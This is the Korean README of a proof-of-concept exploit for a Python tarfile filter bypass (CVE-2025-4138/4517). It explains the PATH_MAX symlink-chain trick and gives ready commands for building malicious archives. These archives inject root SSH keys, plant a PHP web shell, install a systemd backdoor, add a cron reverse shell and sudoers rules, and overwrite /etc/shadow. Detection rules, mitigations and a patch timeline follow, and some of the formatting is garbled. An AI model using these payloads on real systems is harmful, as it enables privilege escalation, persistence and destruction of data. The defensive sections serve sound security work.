
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX 심볼릭 링크 필터 우회
filter="data" / filter="tar" 추출을 통한 임의 파일 쓰기
Python의 tarfile 모듈에서 심각한 취약점이 발견되었습니다. 공격자는 추출 필터("data" 및 "tar")를 우회하여 의도된 추출 디렉터리 외부에 임의 파일을 쓸 수 있습니다. 권한 있는 프로세스(예: 루트 수준의 백업 스크립트, CI/CD 파이프라인, 패키지 설치 프로그램)가 안전하다고 간주되는 filter="data" 매개변수를 사용하여 공격자가 제어하는 tar 아카이브를 추출하면, 이 익스플로잇은 해당 권한 사용자로 완전한 임의 파일 쓰기를 달성하며, 일반적으로 루트로 권한 상승됩니다.
근본 원인은 os.path.realpath()의 동작상의 특성에 있습니다. 이 함수는 전체 경로가 확장되어 PATH_MAX(리눅스에서 4096바이트, macOS에서 1024바이트)를 초과하면 심볼릭 링크 확인을 조용히 중단합니다. tarfile 필터는 안전성 검사를 위해 realpath()에 의존하지만, 커널은 추출 중에 독립적으로 심볼릭 링크를 확인합니다. 이로 인해 TOCTOU(Time-of-Check-to-Time-of-Use) 간격이 발생하여 디렉터리 탈출이 가능해집니다.
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## 영향을 받는 버전
| 파이썬 브랜치 | 취약 범위 | 수정된 버전 | 상태 |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ 패치 완료 |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ 패치 완료 |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ 패치 완료 |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ 패치 완료 |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ 패치 완료 |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ 지원 종료 |
| 3.14+ | 기본 필터가 `"data"`로 변경됨 | 최신 버전 확인 | ⚠️ 노출 위험 증가 |
> **참고:** Python 3.14+는 기본 `filter` 매개변수를 필터 없음에서 `"data"`로 변경했습니다. 즉, 이전에 필터가 없어서 이미 안전하지 않았던 애플리케이션은 이제 기본적으로 취약한 필터를 사용하게 됩니다.
---
## 영향을 받는 코드 패턴
취약한 파이썬 버전에서 다음과 같이 수행하는 모든 애플리케이션은 악용 가능합니다.```python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
일반적인 실제 발생 사례:
.tar 배포를 처리하는 경우git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**요구 사항:** Python 3.6+ (아카이브 생성을 위해 — **대상**은 취약한 버전을 실행해야 함)
---
## 사용법
### 빠른 시작 — SSH 키 주입```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
중요: 이 익스플로잇은 tar 아카이브 내부에 중간 디렉토리(예:
/root/.ssh/)를 자동으로 생성합니다. 대상 디렉토리가 파일 시스템에 존재하지 않으면extractall()이 추출 중에 생성합니다.
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar
### 사용자 지정 대상
대상 파일 시스템의 절대 경로에 원하는 내용을 작성하세요:```bash
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '<?php system($_GET["cmd"]); ?>' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
시스템이 취약한지 테스트합니다 민감한 파일을 건드리지 않고:```bash
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile
python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar
python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "
cat /tmp/cve_test/flag/testfile
rm -rf /tmp/cve_test
### 빠른 버전 확인```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro <= 10) or
(v.minor == 13 and v.micro <= 3) or
(v.minor == 11 and 4 <= v.micro <= 12) or
(v.minor == 10 and 12 <= v.micro <= 17) or
(v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"
os.path.realpath()리눅스에서 PATH_MAX는 4096바이트로 정의됩니다. macOS에서는 1024바이트입니다. os.path.realpath()가 경로를 구성 요소별로 해석할 때 누적된 해석 경로가 이 제한을 초과하면, 조용히 나머지 구성 요소의 해석을 중단하고 리터럴 문자열로 추가합니다.```
os.path.realpath() behavior:
Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!
Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!
이는 `realpath()`의 **문서화된** 동작이지만, tarfile 필터 구현에서는 이를 고려하지 않았습니다.
### 심볼릭 링크 체인 구성
체인의 각 수준은 다음으로 구성됩니다:
| 항목 | 유형 | 이름 길이 | 목적 |
|:--|:--|:--|:--|
| 디렉터리 | `DIRTYPE` | 247자 (Linux) / 55자 (macOS) | 긴 이름이 확인된 경로를 부풀림 |
| 심볼릭 링크 | `SYMTYPE` | 1자 (`a`, `b`, …, `p`) | 긴 디렉터리의 짧은 별칭 |
16개 수준 후:
| 측정 항목 | 값 |
|:--|:--|
| **짧은 경로** (심볼릭 링크 경유) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31자 |
| **해석된 경로** (디렉터리 경유) | `ddd…/ddd…/ddd…/…` ≈ **3968자** |
| **PATH_MAX** | 4096바이트 |
| **남은 예산** | ~128바이트 — 트래버설 페이로드에 충분하지 않음 |
### 필터 우회 메커니즘
Python의 tarfile 모듈에 있는 `data_filter`는 다음 검사를 수행합니다:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
target = os.path.realpath(os.path.join(dest_path, member.linkname))
if not target.startswith(dest_path):
raise FilterError("link would escape destination")
The vulnerability:
realpath()가 수신: /extract/a/b/c/.../p/lll.../../../../../root/.sshrealpath()가 a/b/c/.../p 부분을 심볼릭 링크 체인을 통해 해석 → 3968+ 바이트../../../../root/.ssh가 그대로 추가됨/extract/ddd…(3968자)…/../../../../root/.ssh/extract/로 시작 → 통과 ✓../을 정상적으로 해석 → /root로 이스케이프escape/.ssh가 디렉터리로 추출됨 → /root/.ssh/ 생성 (모드 0700)escape/.ssh/authorized_keys → 에 기록┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘
---
## 실제 공격 시나리오
### 1. 권한 있는 백업 복원
루트로 실행되는 백업 스크립트가 사용자가 제공한 tar 아카이브를 추출합니다:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
영향: 공격자가 악성 백업을 제공 → SSH 키를 /root/.ssh/authorized_keys에 작성 → 루트 셸 획득.
빌드 시스템이 신뢰할 수 없는 소스에서 아티팩트를 추출한다:```python
tar.extractall(path=workspace_dir, filter="data")
**영향:** 악성 아티팩트가 워크스페이스를 탈출 → CI 구성을 덮어씀 → 빌드 인프라에서 코드 실행을 달성함.
### 3. 웹 애플리케이션 업로드 처리
웹 앱이 tar 업로드를 수락하고 추출합니다:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
영향: 원격 공격자가 조작된 tar 파일을 업로드 → 웹 셸을 문서 루트에 작성 → 원격 코드 실행(RCE)을 달성.
Python 패키지 관리자가 소스 배포판을 추출:```python
tar.extractall(path=build_dir, filter="data")
**Impact:** 악성 PyPI 패키지가 빌드 디렉터리를 탈출하여 시스템 파일을 수정합니다.
---
## 탐지
### 손상 지표
다음 패턴을 모니터링하여 악용 가능성을 탐지하세요.```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }
---
## 대응 방안
### 1. 파이썬 업그레이드 (권장)```bash
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
즉시 업그레이드가 불가능한 경우:```python import pathlib import tarfile
def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")
### 3. 샌드박스 추출```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
---
## 관련 CVE
| CVE | 설명 | 심각도 |
|:--|:--|:--|
| **CVE-2025-4138** | PATH_MAX 오버플로를 통한 심볼릭 링크 대상 필터 우회 | 심각 |
| **CVE-2025-4517** | realpath 오버플로를 통한 임의 파일 쓰기 (동일한 근본 원인) | 심각 |
| **CVE-2025-4330** | 추출 필터를 우회하는 심볼릭 링크 경로 탐색 | 높음 |
| **CVE-2024-12718** | 추출 디렉터리 외부의 파일 메타데이터 수정 | 높음 |
| **CVE-2025-4435** | `errorlevel=0`일 때 필터링된 파일이 여전히 추출됨 | 중간 |
| **CVE-2007-4559** | 원본 tarfile 경로 탐색 (필터 시대 이전) | 높음 |
모든 문제는 [CPython 이슈 #135034](https://github.com/python/cpython/issues/135034) 및 [PR #135037](https://github.com/python/cpython/pull/135037)에서 해결되었습니다.
---
## 타임라인
| 날짜 | 이벤트 |
|:--|:--|
| 2025-04-30 | Python 보안 대응 팀에 취약점 보고 |
| 2025-06-02 | 공개 이슈 오픈 — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | 수정 병합 — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [PSF 보안 공지](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) 게시됨 |
| 2025-06-03 | 패치 릴리스: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | CERT-FR 권고 [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Google Security Research 권고 [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | 전체 공개 |
---
## 참고 자료
- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Google Security Research 권고 및 원본 PoC
- [CPython 이슈 #135034](https://github.com/python/cpython/issues/135034) — 업스트림 버그 보고서
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — 수정 커밋
- [PSF 보안 공지](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — 공식 권고
- [Seth Larson의 완화 Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — 빠른 완화 스크립트
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Python `tarfile` 추출 필터 문서](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Linux `realpath(3)` 맨 페이지](https://man7.org/linux/man-pages/man3/realpath.3.html) — PATH_MAX 동작
---
## 크레딧
- **취약점 발견:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **패치 작성자:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **본 PoC:** [DesertDemon](https://github.com/DesertDemons)
---
## 면책 조항
> **⚠️ 이 도구는 승인된 보안 테스트, 연구 및 교육 목적으로만 엄격히 제공됩니다.**
>
> 컴퓨터 시스템에 대한 무단 액세스는 미국의 컴퓨터 사기 및 남용 법(CFAA), 영국의 컴퓨터 남용 법, 그리고 전 세계의 동등한 법률에 따라 불법입니다. 귀하가 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 승인을 받으십시오.
>
> 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 이 도구를 사용함으로써 귀하는 귀하의 행동에 대해 전적인 책임을 지며 모든 관련 법률을 준수할 것에 동의합니다.
---
**태그:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`
## 라이선스
이 프로젝트는 [MIT 라이선스](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/main/LICENSE)에 따라 라이선스가 부여됩니다.
---
<p align="center">
<sub>
🔐 유용하게 사용하셨다면 저장소에 별표를 눌러주세요<br>
📫 책임 있는 공개 문의는 이슈를 열거나 GitHub를 통해 연락해 주십시오
</sub>
</p>
| 필드 | 값 |
|---|
| CVE ID | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4 (심각) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — 경로명을 제한된 디렉터리로 제한하지 않음 |
| 취약점 유형 | 심볼릭 링크를 통한 경로 탐색 / 필터 우회 |
| 영향 | 임의 파일 쓰기 → 권한 상승, 샌드박스 탈출, 데이터 변조 |
| 공격 벡터 | 악성 tar 아카이브를 필터를 사용하는 tarfile.extractall()을 사용하는 모든 애플리케이션에 전달 |
| 영향받는 버전 | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| 수정된 버전 | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 패치 | CPython PR #135037 |
| 권고 | GHSA-hgqp-3mmf-7h8f |
| 제보자 | Caleb Brown — Google 보안 연구팀 |
| 사전 설정 | 대상 파일 | 설명 | --extra 매개변수 |
|---|
ssh-key | /root/.ssh/authorized_keys | 루트 로그인을 위한 SSH 공개 키 주입 | — |
cron | /etc/cron.d/pwned | 루트 리버스 셸 크론 작업 설치 | LHOST IP 주소 |
sudoers | /etc/sudoers.d/pwned | 사용자에 대한 NOPASSWD sudo 규칙 추가 | 사용자 이름 |
shadow | /etc/shadow | shadow 파일 덮어쓰기 (⚠️ 파괴적) | — |
passwd | /etc/passwd | passwd 파일 덮어쓰기 (⚠️ 파괴적) | — |
/root/.ssh/authorized_keys